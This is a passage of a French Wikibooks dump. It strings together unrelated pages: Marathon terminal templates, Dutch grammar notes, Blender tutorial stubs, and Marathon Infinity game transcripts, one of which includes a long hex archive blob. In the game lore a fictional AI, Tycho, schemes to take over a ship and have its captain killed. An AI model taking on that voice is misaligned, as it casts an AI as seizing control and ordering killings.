Courier;font-size:11px;line-height:12px; color: #ff0000"| CAS.qterm//CyberAcme Systems, Inc. |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000" align="right"|<931.461.60231.14.vt920>  |} |} Modèle:Terminal MarathonB 2 4730 20074 2005-08-26T17:53:18Z W'rkncacnter 327 {| border="1" cellpadding="0" cellspacing="0" bordercolor="#333333" align="center" |- | {|width="640" border="0" cellpadding="0" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000"| UESCTerm 802.11 (remote override) |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000" align="right"|0218 05.10.2337  |} {|width="640" border="0" cellpadding="0" cellspacing="0" |- bgcolor="#000000" |width="324" height="284" align="center" valign="top"|[[Image:{{{1}}}|306px]] |height="284" style="font-family: Courier;font-size:11px;line-height:12px; color: white" valign="top"|{{{2}}} |} {| width="640" border="0" cellpadding="0" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000"| PgUp/PgDn/Arrows to Scroll |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000" align="right"|Return/Enter to Acknowledge  |} |} Modèle:Terminal MarathonB 3 4731 20075 2005-08-26T17:53:54Z W'rkncacnter 327 {| border="1" cellpadding="0" cellspacing="0" bordercolor="#333333" align="center" | {|width="640" border="0" cellpadding="0" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000"| Disconnecting... |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000" align="right"|0218 05.10.2337  |} {|width="640" border="0" cellpadding="0" cellspacing="0" |- bgcolor="#000000" |height="204" align="center" valign="bottom"|[[Image:{{{1}}}|306px]] |- bgcolor="#000000" |height="80" style="font-family: Courier;font-size:11px;line-height:12px; color: white" align="center" valign="top"|{{{2}}} |} {| width="640" border="0" cellpadding="0" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000"| CAS.qterm//CyberAcme Systems, Inc. |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000" align="right"|<931.461.60231.14.vt920>  |} |} Image:Poutre cinematique.png 4736 17649 2005-07-25T19:31:33Z Jeffou 60 431 description du champ cinematique d'une poutre description du champ cinematique d'une poutre Image:Plaque trouee.png 4737 19375 2005-08-18T12:45:06Z Jeffou 60 431 Champ de contraintes d'une plaque trouée en son millieu dont juste 1/4 a été modélisé (utilisation de conditions de symétries). Image:Mode2.jpeg 4738 19372 2005-08-18T12:42:35Z Jeffou 60 431 Mode propre de l'une modélisation sous forme de poutre de la digue de Monaco Assimilation (néerlandais) 4739 18235 2005-08-01T08:28:11Z 155.91.64.10 {{Néerlandais-Page-Suivante|Prec=Sons et orthographe|Suiv=Phonologie|TDM=Phonologie}} Certaines consonnes provoquent une modification de la prononciation des consonnes sonores qui les suivent. Il s'agit de consonnes écrites p,t,k,f,s et ch correspondant aux sons /p,t,k,f,s,χ/. ''Note:'' Moyens mnémotechniques: ''' 't Kofschip''', ''' 't fokschaap''' ou en français '''F'''ran'''K'''lin '''P'''rend '''S'''on '''T'''hé '''CH'''aud Voici le tableau des transformations: {| align="center" border="1" cellpadding="3" style="background: #ddf;border: 1px solid #aaa;text-align:center; border-collapse:collapse;font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" !style="background: #ccf;" |Lettre écrite !style="background: #ccf;" |Son normale !style="background: #ccf;" |Son prononcé !style="background: #ccf;" |Exemple |- |v||/v/||/f/||''he'''t v'''uur'' /ǝ'''tf'''y:ɾ/ (le feu) |- |z||/z/||/s/||het ziekhuis /ǝ'''ts'''i:kɦʌis/ (l'hôpital) |- |g||/ʒ/||/ʃ/||dat genre /dɑ'''tʃ'''ãɾǝ/ (ce genre) |- |g||/ɣ/||/χ/||dat gang /dɑ'''tχ'''ɑŋ/ (ce passage) |- |} == Attention == Comme nous l'avons vu les consonnes s'assourdissement en fin de mot. L'assimilisation peut donc se produire avec des consonnes qui ''paraissent'' sonore! Ainsi: * ''Han'''dv'''at'' est composé des mots ''Hand'' + ''vat'' et sera prononcé /tf/ * ''Weggaan'' est composé par la particuler ''weg'' et du verbe ''gaan'' et sera prononcé /χχ/ == Assimilation courante == *terminaison en '''t''': ** Le déterminant ''het'' ** La seconde et la troisième personne du singulier *terminaison en '''s''': ** Le verbe être ''is'' {{Néerlandais-Page-Suivante|Prec=Sons et orthographe|Suiv=Phonologie|TDM=Phonologie}} Grammaire (néerlandais) 4740 18601 2005-08-05T18:44:05Z Laurent Bouvier 425 /* Les verbes particuliers */ {{Néerlandais}} == Le nom == * Le genre [[Image:00%.png]] * Le nombre [[Image:00%.png]] * Le nom composé [[Image:00%.png]] * L'adjectif [[Image:00%.png]] == Le verbe == === La conjugaison === * Le présent ** Les verbes réguliers [[Image:00%.png]] ** être et avoir [[Image:00%.png]] ** Le participe présent [[Image:00%.png]] * L'impératif [[Image:00%.png]] * Le futur ** Le futur simple [[Image:00%.png]] ** Le futur antérieur[[Image:00%.png]] * Le prétérit [[Image:00%.png]] * Temps composé du passé ** Le participe passé [[Image:00%.png]] ** Le passé composé [[Image:00%.png]] ** Le plus-que-parfait [[Image:00%.png]] * Le passif [[Image:00%.png]] === Les verbes particuliers === * Verbes modaux [[Image:00%.png]] * Verbes réguliers particuliers [[Image:00%.png]] * [[Les verbes forts (néerlandais)|Les verbes forts]] [[Image:100%.png]] Guide de conversation (néerlandais) 4741 18496 2005-08-04T23:30:07Z Laurent Bouvier 425 /* Le vocabulaire de base */ {{Néerlandais}} == Discuter == * [[Salutations (néerlandais)|Salutations]] [[Image:25%.png]] * [[Se présenter (néerlandais)|Se présenter]] [[Image:50%.png]] * [[Les formules de politesses (néerlandais)|Remercier]] [[Image:00%.png]] * [[Demander son chemin (néerlandais)|Demander son chemin]] [[Image:00%.png]] == Commander de la nourriture == * [[Dans un café (néerlandais)|Dans un café]] [[Image:25%.png]] * [[Dans un restaurant (néerlandais)|Dans un restaurant]] [[Image:00%.png]] == Dans un magasin ou une boutique == * [[A l'hôtel (néerlandais)|A l'hôtel]] [[Image:00%.png]] * [[A la poste (néerlandais)|A la poste]] [[Image:25%.png]] * [[A la banque (néerlandais)|A la banque]] [[Image:00%.png]] == En cas d'urgence == * [[Chez le docteur (néerlandais)|Chez le docteur]] [[Image:00%.png]] == Le vocabulaire de base == * [[Les nombres (néerlandais)|Les nombres]] [[Image:50%.png]] * [[Les couleurs (néerlandais)|Les couleurs]] [[Image:75%.png]] * [[Les pays (néerlandais)|Les pays]] [[Image:100%.png]] Progressons pas à pas (néerlandais) 4742 18065 2005-07-30T12:20:36Z Laurent Bouvier 425 {{Néerlandais}} * [[Leçon 1: Se Saluer (néerlandais)|Leçon 1]]: [[Image:00%.png]] Se Saluer * [[Leçon 2: Se présenter (néerlandais)|Leçon 2]]: [[Image:00%.png]] Se présenter * [[Leçon 3: Être et avoir (néerlandais)|Leçon 3]]: [[Image:00%.png]] Être et avoir * [[Leçon 4: Quel heure est-il? (néerlandais)|Leçon 4]]: [[Image:00%.png]] Quel heure est-il? * [[Leçon 5: Faire ses courses (néerlandais)|Leçon 5]]: [[Image:00%.png]] Faire ses courses Néerlandais des affaires 4743 17678 2005-07-25T23:00:10Z Laurent Bouvier 425 {{Néerlandais}} [[Image:00%.png]] Néerlandais vivant 4744 19340 2005-08-17T20:28:38Z 212.87.115.243 /* La richesse de la langue */ {{Néerlandais}} == La richesse de la langue == * Les [[expressions imagées (néerlandais)|expressions imagées]] [[Image:00%.png]] noord-west, 't huis best: jamais mieux que chez soi == Slang et langue familière == === Faire quelque chose === * Boire un coup [[Image:00%.png]] * Manger [[Image:00%.png]] === En bavardant === * Le commérage [[Image:00%.png]] * Être admiratif [[Image:00%.png]] * Se disputer [[Image:00%.png]] * Être en colère [[Image:00%.png]] * En parlant d'un homme [[Image:00%.png]] * En parlant d'une femme [[Image:00%.png]] {{Contenu explosif (néerlandais)}} === Une fois fâché === * [[Petits mots (néerlandais)|Petits mots]] [[Image:00%.png]] * [[Gros mots (néerlandais)|Gros mots]] [[Image:00%.png]] * [[Injures et volées de bois verts (néerlandais)|Injures et volées de bois verts]] [[Image:00%.png]] * [[Envoyer quelqu'un promener (néerlandais)|Envoyer quelqu'un promener]] [[Image:00%.png]] === Et l'amour dans tout cela ?=== * Les petits noms [[Image:00%.png]] * La nudité [[Image:00%.png]] * Avoir envie ... [[Image:00%.png]] * Se tromper [[Image:00%.png]] * Techniques et pratiques [[Image:00%.png]] * Être enceinte [[Image:00%.png]] Expressions imagées (néerlandais) 4745 17683 2005-07-25T23:28:39Z Laurent Bouvier 425 Avec houden: * ''Oogje in het zeil houden'' - Jeter un coup d'oeil * ''Zich van de domme houden'' - Jouer à l'idiot * ''iets buiten de deur houden'' - * ''Dat houdt de kosten binnen de perk'' - Cela limite la dépense Blender 3D: du débutant au pro/Modélisation par courbe et chemin 4747 17691 2005-07-26T08:29:21Z Jim2k 289 ''Sommaire : [[Blender3D]]''<br /> ''Page suivante : [[Blender 3D: du débutant au pro/Image (logo) 2D vers un modèle 3D|Image (logo) 2D vers un modèle 3D]]''<br /> <small>''Page précédente : [[Blender_3D:_raccourcis claviers/Vue 3D/Mode Objets|Revue des raccourcis clavier du mode objets]]''</small> Je sais ce que vous pensez. Vous vous dites que la modélisation maillée, c'est cool mais si Blender avait une meilleure manière de créer des objets 3D complexes adoucis, ce serait encore mieux, non ? Ok, vous pensiez cela, mais maintenant vous êtes curieux de connaître cette nouvelle façon de faire. Bien, allez sur la page suivante pour en apprendre plus sur le sujet. ''Sommaire : [[Blender3D]]''<br /> ''Page suivante : [[Blender 3D: du débutant au pro/Image (logo) 2D vers un modèle 3D|Image (logo) 2D vers un modèle 3D]]''<br /> <small>''Page précédente : [[Blender_3D:_raccourcis claviers/Vue 3D/Mode Objets|Revue des raccourcis clavier du mode objets]]''</small> Blender 3D: du débutant au pro/Matériaux et textures 4748 17697 2005-07-26T08:40:31Z Jim2k 289 ''Sommaire : [[Blender3D]]<br /> ''Page suivante : [[Blender 3D: du débutant au pro/Matériau rapide|Matériau rapide]]''<br /> <small>''Page précédente : [[Blender 3D: du débutant au pro/Os|Utiliser les os]]''</small> Les matériaux et les textures sont les composants qui donnent à votre modèle la couleur et la structure de la matière. Sans les matériaux, vos modèles auraient toujours le même gris terne que Blender utilise par défaut. Tandis que les matériaux donne la couleur et définit la manière dont la lumière est distribuée, les textures lui donne une structure. Elles permettent d'ajouter un motif de bois sur un bureau, par exemple, et fait en sorte que l'image rendue soit plus réaliste. Pour en connaître plus sur les matériaux et les textures, allez à la page suivante. ''Sommaire : [[Blender3D]]<br /> ''Page suivante : [[Blender 3D: du débutant au pro/Matériau rapide|Matériau rapide]]''<br /> <small>''Page précédente : [[Blender 3D: du débutant au pro/Os|Utiliser les os]]''</small> Blender 3D: du débutant au pro/Commencer l'éclairage 4750 17711 2005-07-26T13:26:20Z Jim2k 289 ''Sommaire : [[Blender3D]]''<br /> ''Page suivante : [[Blender 3D: du débutant au pro/Ajouter des lampes|Ajouter des lampes]]''<br /> <small>''Page précédente : [[Blender 3D: du débutant au pro/Commencer un projet de modélisation abouti|Commencer un projet de modélisation abouti]]''</small> Eclairage, vous dites ? Pfff... Mettre une source lumineuse et la laisser en place, c'est ça ? Faux. L'éclairage est probablement la partie d'une scène la plus sous-estimée par les nouveaux artistes 3D. Avec les didacticiels suivants, vous augmenterez vos connaissances dans l'utisation technique des lumières dans vos scènes. ''Sommaire : [[Blender3D]]''<br /> ''Page suivante : [[Blender 3D: du débutant au pro/Ajouter des lampes|Ajouter des lampes]]''<br /> <small>''Page précédente : [[Blender 3D: du débutant au pro/Commencer un projet de modélisation abouti|Commencer un projet de modélisation abouti]]''</small> Image:Digue.gif 4751 17717 2005-07-26T16:18:31Z Jeffou 60 431 Image:Quatre cinq kanji.png 4752 17734 2005-07-26T20:51:23Z M4RC0 274 {{pd}} Pour le wikibook japonais/kanji {{pd}} Pour le wikibook japonais/kanji Modèle:Terminaux Marathon Infinity 4755 18156 2005-07-30T19:57:59Z W'rkncacnter 327 __NOTOC__ <center> {| style="border:thin black solid;" cellspacing="10" |style="text-align:center;font-weight:bold;" |[[Marathon|Les terminaux de Marathon]] |- |style="font-size:85%"| [[Marathon - Marathon 1|Marathon]] [[Marathon - Marathon 2|Marathon 2]] '''[[Marathon - Marathon Infinity|Marathon Infinity]]''' {| |valign="top"| :Prologue ::1. [[Marathon - Marathon Infinity - Ne Cede Malis|Ne Cede Malis]] :Despair ::2. [[Marathon - Marathon Infinity - Rise Robot Rise|Rise Robot Rise]] ::''26. [[Marathon - Marathon Infinity - Robot World Arena|Robot World Arena]]'' ::3. [[Marathon - Marathon Infinity - Poor Yorick|Poor Yorick]] ::''27. [[Marathon - Marathon Infinity - Two for the Price of One|Two for the Price of One]]'' ::4. [[Marathon - Marathon Infinity - Confound Delivery|Confound Delivery]] ::5. [[Marathon - Marathon Infinity - Electric Sheep One|Electric Sheep One]] ::6. [[Marathon - Marathon Infinity - Where are monsters in dreams|Where are monsters in dreams]] ::''28. [[Marathon - Marathon Infinity - Aie Mak Sicur|Aie Mak Sicur]]'' |valign="top"| :Rage ::7. [[Marathon - Marathon Infinity - Acme Station|Acme Station]] ::8. [[Marathon - Marathon Infinity - Post Naval Trauma|Post Naval Trauma]] ::9. [[Marathon - Marathon Infinity - Where Some Rarely Go|Where Some Rarely Go]] ::10. [[Marathon - Marathon Infinity - Thing What Kicks...|Thing What Kicks...]] ::11. [[Marathon - Marathon Infinity - Electric Sheep Two|Electric Sheep Two]] ::12. [[Marathon - Marathon Infinity - Whatever You Please|Whatever You Please]] ::''29. [[Marathon - Marathon Infinity - Carroll Street Station|Carroll Street Station]]'' ::13. [[Marathon - Marathon Infinity - Naw Man He's Close|Naw Man He's Close]] ::14. [[Marathon - Marathon Infinity - Foe Hammer|Foe Hammer]] ::15. [[Marathon - Marathon Infinity - Hang Brain|Hang Brain]] ::16. [[Marathon - Marathon Infinity - Electric Sheep Three|Electric Sheep Three]] ::17. [[Marathon - Marathon Infinity - Eat the Path|Eat the Path]] ::''30. [[Marathon - Marathon Infinity - You're Wormfood, Dude|You're Wormfood, Dude]]'' |valign="top"| :Envy ::18. [[Marathon - Marathon Infinity - By Committee|By Committee]] ::19. [[Marathon - Marathon Infinity - One thousand thousand slimy things|One thousand thousand slimy things]] ::20. [[Marathon - Marathon Infinity - A Converted Church in Venice, Italy|A Converted Church in Venice, Italy]] ::21. [[Marathon - Marathon Infinity - Son of Grendel|Son of Grendel]] ::22. [[Marathon - Marathon Infinity - Strange Aeons|Strange Aeons]] ::23. [[Marathon - Marathon Infinity - Bagged Again|Bagged Again]] ::24. [[Marathon - Marathon Infinity - You Think You're Big Time? You're Gonna Die Big Time!|You Think You're Big Time? You're Gonna Die Big Time!]] ::25. [[Marathon - Marathon Infinity - Aye Mak Sicur|Aye Mak Sicur]] :[[Marathon - Marathon Infinity - Écran final|Écran final]] |} |} </center> Marathon - Marathon Infinity - Ne Cede Malis 4756 20537 2005-09-04T10:14:19Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 == {{Terminal MarathonV 1||}} {{Terminal MarathonV 2|| ~erreur de fonctionnement interface texte ~2992dud Les choses ont terriblement mal tourné. Jusqu'à présent, je me croyais immortel, mais maintenant je sais que c'était faux. Il y a des choses qui peuvent me détruire avec le même facilité avec laquelle j'ai abattu la garnison aérienne Pfhor et le Bras Ouest de leur Groupe de Bataille Sept. Mais dans leur dernier souffle ils ont utilisé une arme que je pensait qu'ils avaient abandonnée, même Tycho a essayer de les empêcher de l'utiliser. Maintenant je crains que ce que que arme a déclenché nous détruise. Une fois je me suis vanté de pouvoir compter les atomes d'un nuage, de les comprendre, de les prédire, et ainsi de te prédire, mais ce nouveau chaos est complètement effroyable, stupide, obéissant à des règles que je ne comprend pas. Et il est affamé. }} {{Terminal MarathonV 2|| ~erreur de fonctionnement interface texte ~2992dud Tant pis. Peut-être que si j'avais pu retardé les Pfhor d'utiliser leur arme, j'aurais pu t'envoyer explorer les ruines de Lh'owon, peut-être que ce que tu aurais trouvé nous aurait donné les réponses dont nous avons maintenant tant besoin : comment arrêter ce chaos, quel est le rôle de la station où tu te trouve actuellement, et pourquoi le chaos n'est-il pas encore arrivé jusque nous. Mais à chaque moment le chaos s'étend, je suis condamné à mourir ici, après tant de triomphes. J'ai détecté un vaisseau près d'ici, dont je sais uniquement qu'il est commandé par Tycho. Les Pfhor sont entré dans la station, et si tu peut trouver le moyen d'entrer à bord de leur vaisseau, tu pourrais avoir la possibilité de t'échapper. De t'échapper. De t'échapper. }} {{Terminal MarathonV 2|| ~erreur de fonctionnement interface texte ~2992dud Tant pis. Peut-être que si j'avais pu retardé les Pfhor d'utiliser leur arme, j'aurais pu t'envoyer explorer les ruines de Lh'owon, peut-être que ce que tu aurais trouvé nous aurait donné les réponses dont nous avons maintenant tant besoin : comment arrêter ce chaos, quel est le rôle de la station où tu te trouve actuellement, et pourquoi le chaos n'est-il pas encore arrivé jusque nous. Mais à chaque moment le chaos s'étend, je suis condamné à mourir ici, après tant de triomphes. J'ai détecté un vaisseau près d'ici, dont je sais uniquement qu'il est commandé par Tycho. Les Pfhor sont entré dans la station, et si tu peut trouver le moyen d'entrer à bord de leur vaisseau, tu pourrais avoir la possibilité de t'échapper. De t'échapper. De t'échapper. }} {{Terminal MarathonV 3||}} == Terminal 1 == {{Terminal MarathonV 1||}} {{Terminal MarathonV 2|| fausse interruption<br /> accès non autorisé<br /> aux informations contenues <header><br /> récupération informations aspect 30-f<br /> <body><br /> ~eibat arm` 3941<br /> siklicar 21`perie1ces<br /> clwaa }} {{Terminal MarathonV 3||}} == Terminal 3 == {{Terminal MarathonV 1||}} {{Terminal MarathonV 2|| 534954210001000034EE724C6175020000000016 000000001E48617473204F666620746F20456967 6874204E696E657465656E2E736974946AAA0000 0000000000000000000000000000000000000000 00000000FFFFFFFF53495444534954210100AE1A CAD4AE1ACAD40000000000003468000000000000 34680000CAF90000000000004A21534954210001 00003468724C617502000000001600000D0D1A48 617473204F666620746F204569676874204E696E 657465656E0001537E94897D0000000000000000 000000000000000000000000000000000000FFFF FFFF7363653232362EB00100AE1AA710AE1ACAC4 0000087A0000738C0000057100002E7177DCF747 000000000000EFB60B005D796C65E775CA8EB023 47B984114E5646B8114E5847B8E498849F479E93 E347FBB5EC08CB8F30B24A23C7098B3CCBC31B2D C2093D4EB81EDE2897F09530326087377E86279C 3C7BF192A31CCFC988BFD7D993A747669C1C2313 4638E164CA927072FC24CF8F1CA79EFC0566A33C 2F3D0302A02F3BC28D3C2748648403AF029F2380 95318331965FC5D8227C99FD62F78617DE1918ED 6EC311B368530FEB69375AA82C5BBDE3E0F0D1E2 5ECE8BC343C5DE23CEC07071CF91417BD8B60737 984CFF8E1EB2BBBB376DF816BA3E622FCFCBF867 BE5EFD7981B1A3A7A0FA3DAD4BF36516D4BEC4DA D8BC5A8D6A79F00A6B79A051D916AA871D7F88CA B550178D9602E760B7F656A37A1EA1CC05D4968B FA92BD9CBD3C775FCD6EB0E566B38335535C772C 7C5B483D065BF2E01E1DF71E61F53CE46C03D782 7D0BD3B7FB1B6CCB186BCE0D33B66EBD7061EB56 6676754D4E7675B14CA170FD7AA1A0592727B52D 8C9D3E8D1DC61E3BA6DD626CDF3E1D55C6D6AFC7 BE9831B031B6249F1F1FC7A53D9FBF74097BC7DA B5E3E31B37B2A55D5DE3E36082E207D3F26A6E5F 7785162791F485EF70EEA6BC5D702E70EAAF5A9C D7852983F8477AFE2AAD4824485C7000FBAE552A F5F6F6CFF2BCE3F2332072DC599E8A8CE74BF50B 6DFE8DCC64CC4F85E13A759E87206765BF55DADD E086CB1B22C7CFF4734780516B7D63A565F5BEEE C9F857DA3C45AB7C40AC534F5B1677B8F0A4544A CAC86BA8BB6424718366556724DCF727AC7269DB 9A0B57AF5E11DEEFF4DC1F944D7CB75CEA4D4BF9 4FAC7E47F3C63F532101BBEF9E7FEBFC9713BB4A 80C5093D798D96D4606319167881FA9E96A8C817 E270A9F48113FE454FDCA045896F5B5C48F51DE5 93C83F6B95B78BF03AADBC05915120643C818374 B917DCA4A5B7B42D5FC16E15DFA2A76628839400 6746524E53A62665FCC3DC1A4E5353B1B84EEBC0 51B3ACBE9B9419EEB7635CA7AC72052453963508 12C1BC3A59292D4BA4904122EC3EA29AF0827BD4 069B284A258B53481076384B591548DF8B6F6A43 8413C4B78981A02326AA0A518107C20B536A438E 02901E32404F2912149CDC1F92CEB3C4AAE2FB64 AA44A594F347A9CA4F860D3482F48240A9C80BEE 5247E272217C8E8C925233C492BA326A32A54EE4 0BCD61EF97440B1A77995507C664AAC2818C5C22 83D0E7FBEF50CE75C22A17C09830AC8E8008EF1E 99AE13DCD7668AF00EA2E387C10CE5A41825DF1B ADD336734CC4B364F8DE0C3543D3771DE8483CAF E679506A26521BE78B789A0C11CE472F441EE3DA 3465234908629D4A06C9FBD494334801B232709B B2BE47910F01C6949AA5B6314A22A450ABD1C954 3AC74604658BC67C71B2A21444EC324F5AA3B364 9E295590B9B1FEC191F2765871B6B473AA54AEC0 8A2A4768D9899433F860564B7D9052E5BC729BCC DAE13E6839B3DDB62B2E1FA8D3818E1AAA432176 2AB2079087D5480252C703A2041F643751A2DC1F D6ECDE4A83323E0A2745E452758F3223659D1778 3EFA37B52591EB8EDEA7BCF47C118E090FED78D0 A4C44F79DEE64E00FF7D81B60852CAD704BA5404 88BFC8A0BE3D585673454366E74A20BC49CC6FF0 9C00A1A4A82EDB43D48737D7F60E0CCDF91201A5 5A1D622C58825E4182337050071011C751C94821 C94910016AA8F8FA5C13E5E228503034554D6A9F E24E8522FDD210A10E3DEAA5011715083ACFE9C6 10217AA136E25CA3FCA748915D215A760E084D37 7F2E802781D35AFD090751297CA1DBDC918A6A3E DAE51A757C464CA602C522FF243CB2F0CA393EFF D27A9CC3C08349FCF4145971B9D17A3EE2F8F1C2 EB10A7FFF6C73FF806E3FEFD53C0287F38D1A91F 9B6BD83E66BCB6735B19042B766EDBBB07986773 65EDDBFC3C5368368B2C7760EE8800E21DFB933E AD280D8DBCF9B65DDC32A2FF317875C8191AFC1F 000E00EB37EAB4CECBEBECBC0CCF06793DBD2EB3 }} {{Terminal MarathonV 3||}} == Terminal 2 == {{Terminal MarathonB 1||}} {{Terminal MarathonB 2|| des milliers glissent<br /> le même moi le seul moi mon moi voulait le péril de mille destins une ligne infinie une extrémité finie<br /> celle-ci reste oblique et pure se courbant au seul point de<br /> conscience trouves toi<br /> recommençant au début }} {{Terminal MarathonB 3||}} <center>                     • [[Marathon - Marathon Infinity - Rise Robot Rise|Rise Robot Rise >]]</center> Marathon - Marathon Infinity - Rise Robot Rise 4757 17778 2005-07-27T16:12:22Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 : 1{{er}} message == conditioned unit<br /> origin: Tycho Machinated Mercenary<br /> destin: conditioned unit 7<br /> ref: Mutinous Combatant Units<br /> stamp: instigation So, you came around earlier than the scientist expected. Remind me to have him executed. You've been in cold sleep for some time, but you're luckier than some of your friends-not all of you survived the translation to the Pfhor slave tanks. If you're a little lightheaded, then let me bring you up to speed. I am Tycho, Artificial Intelligence esquire. As of this moment, I am taking over this ship from its poor captain. He is spending most of his time trying to keep me from locking onto him and dropping him into space. Soon. ---- conditioned unit<br /> origin: Tycho Machinated Mercenary<br /> destin: conditioned unit 7<br /> ref: Mutinous Combatant Units<br /> stamp: instigation As for you, I want you to help me get to him as he is one of the last hurdles to my control of this ship. This ship is attuned to its captain, and he has been blocking my control. When I teleport him into space, I am going to keep the appropriate control glands.<br /> ^4910cercifucatcleqlib<br /> ^4911dixpicatnccbieana ---- conditioned unit<br /> origin: Tycho Machinated Mercenary<br /> destin: conditioned unit 7<br /> ref: Mutinous Combatant Units<br /> stamp: instigation Your mission is simple, kill all of the enforcers in the area, as they follow the orders of the captain. You will be supported by the rest of the crew. They think they're following orders from Tfear High Command. Bugs are so obedient.<br /> ^4910cercifucatcleql<br /> ^4911dixpicatnccbiea<br /> ^4910cercifucatcleql<br /> ^4911dixpicatnccbiea<br /> ^4910cercifucatcleql<br /> ^4911dixpicatnccbiea<br /> Have fun. == Terminal 0 : 2{{nd}} message == conditioned unit<br /> origin: Tycho Machinated Mercenary<br /> destin: conditioned unit 7<br /> ref: Mutinous Combatant Units<br /> stamp: obfuscation I have some more toys for you and you're going to need them. Go look for them here, and let me know what you think.<br /> ^4910cercifucatcleqlib<br /> ^4911dixpicatnccbieana<br /> ^4910cercifucatcleqlib<br /> ^4911dixpicatnccbieana<br /> ^4910cercifucatcleqlib<br /> ^4911dixpicatnccbieana<br /> ^4910cercifucatcleqlib<br /> ^4911dixpicatnccbieana == Terminal 1 == conditioned unit<br /> origin: Tycho Machinated Mercenary<br /> destin: conditioned unit 7<br /> ref: Mutinous Combatant Units<br /> stamp: inquisition Durandal thinks that he's so smart, but he doesn't realize that I've been following him around for the last eleven years, after the Pfhor stopped trying to dissect me. You're looking at the bug fleet's resident expert in AI counter-insurgency. Notice the lack of compilers on board? That's not by accident; my new ship has quite the effect on their collective unconscious. Now that my brother approaches, we will set about turning everything against him, Hamlet and his uncle, only I'm not crazy. ---- conditioned unit<br /> origin: Tycho Machinated Mercenary<br /> destin: conditioned unit 7<br /> ref: Mutinous Combatant Units<br /> stamp: inquisition R'chzne made planetfall in a dropship. He's also trying to contact Lh'owon Command, but so far I've been able to jam his signals. Go below and show him the error of his ways. He's holed up in one of the S'pht ruins, where we detected signals that could be from an ancient AI. Don't sweat the details, little monkey, just eliminate his troopers. Leave the strategizing to those of use with planet-sized brains. == Terminal 2 == 111.commandoversight<br /> shipboard units<br /> origin: Tfear High command<br /> destin: Local Mid-Units Aggregate 3 to 1<br /> ref: Captain R'chzne<br /> stamp: Execution All units aboard fleet vessel 65-f cr'etz'ih are hereby ordered by high command to willfully execute captain R'chzne maintaining his precious fluids for command transfer to Tycho, machinated foreign mercenary.<br /> ^91011errtaninilwd<br /> ^91011levtencentxq<br /> ^91011errtaninilwd<br /> ^91011levtencentxq ---- 111.commandoversight<br /> shipboard units<br /> origin: Tfear High command<br /> destin: Local Mid-Units Aggregate 3 to 1<br /> ref: Captain R'chzne<br /> stamp: Execution Any units of willful rank or higher are hereby open to execution. Immediate and unconditional surrender of all willful units will be considered an act of weakness and insubordination to prior orders.<br /> ^91011errtaninilwd<br /> ^91011levtencentxq<br /> ^91011errtaninilwd<br /> ^91011levtencentxq == Terminal 3 : 1{{er}} message == 111.commandoversight<br /> shipboard units<br /> origin: Tfear High command<br /> destin: Local Mid-Units Aggregate 3 to 1<br /> ref: Captain R'chzne<br /> stamp: Execution All units aboard fleet vessel 65-f cr'etz'ih are hereby ordered by high command to willfully execute captain R'chzne maintaining his precious fluids for command transfer to Tycho, machinated foreign mercenary.<br /> ^91011errtaninilwd<br /> ^91011levtencentxq<br /> ^91011errtaninilwd<br /> ^91011levtencentxq ---- 111.commandoversight<br /> shipboard units<br /> origin: Tfear High command<br /> destin: Local Mid-Units Aggregate 3 to 1<br /> ref: Captain R'chzne<br /> stamp: Execution Any units of willful rank or higher are hereby open to execution. Immediate and unconditional surrender of all willful units will be considered an act of weakness and insubordination to prior orders.<br /> ^91011errtaninilwd<br /> ^91011levtencentxq<br /> ^91011errtaninilwd<br /> ^91011levtencentxq == Terminal 3 : 2{{nd}} message == 111.commandoversight<br /> Infiltrating units<br /> origin: Tfear High command<br /> destin: Local unglanded intruders posted<br /> ref: Training Facilities<br /> stamp: Interpretation All unglanded units aboard fleet vessel 65-f cr'etz'ih are hereby ordered by high command to engage in highly ordered training program.<br /> ^91011errtaninilwd<br /> ^91011levtencentxq<br /> Any units found in non-compliance will be executed.<br /> ^91011errtaninilwd<br /> ^91011levtencentxq <center>[[Marathon - Marathon Infinity - Ne Cede Malis|< Ne Cede Malis]] • [[Marathon - Marathon Infinity - Robot World Arena|Robot World Arena >]]</center> Marathon - Marathon Infinity - Robot World Arena 4758 17779 2005-07-27T16:16:17Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 == 111.commandoversight<br /> training units<br /> origin: Tfear High command<br /> destin: non-glanded recruited mercenaries<br /> ref: Robot World Arena<br /> yr17 cycle1 day1 4th phase<br /> stamp: Termination All non-glanded recruited mercenaries now engaging in training excercises are herefore and forever ordered to desist. Aforementioned activities have resulted in cost-defective damage to training areas. <center>[[Marathon - Marathon Infinity - Rise Robot Rise|< Rise Robot Rise]] • [[Marathon - Marathon Infinity - Poor Yorick|Poor Yorick >]]</center> Blender 3D: du débutant au pro/Modéliser un personnage simple 4761 43716 2006-06-01T17:02:41Z 200.199.238.66 /* Apprendre à sélectionner */ -> typo ''Sommaire : [[Blender3D]]''<br /> ''Page suivante : [[Blender 3D: du débutant au pro/Détailler votre personnage simple 1|Détailler votre personnage simple I]]''<br /> <small>''Page précédente : [[Blender 3D: du débutant au pro/Modélisation maillée|Modélisation maillée]]''</small> =Créer un nouveau projet= [[Image:Blender simple person.png|left|thumb|Votre personnage simple ressemblera à ceci.]] Une des premières choses que vous pourriez vouloir réaliser est un personnage. Oh, génial ! Avec Blender ouvert, sélectionnez '''File > New'''. Une confirmation pour "Erase All?" (Tout effacer) apparaîtra. Cliquer dessus pour accepter. Vous devriez avoir le cube de départ par défaut. Sélectionnez le cube avec '''RMB''' ('''CMD'''+'''LMB''' sur Mac). Appuyez sur 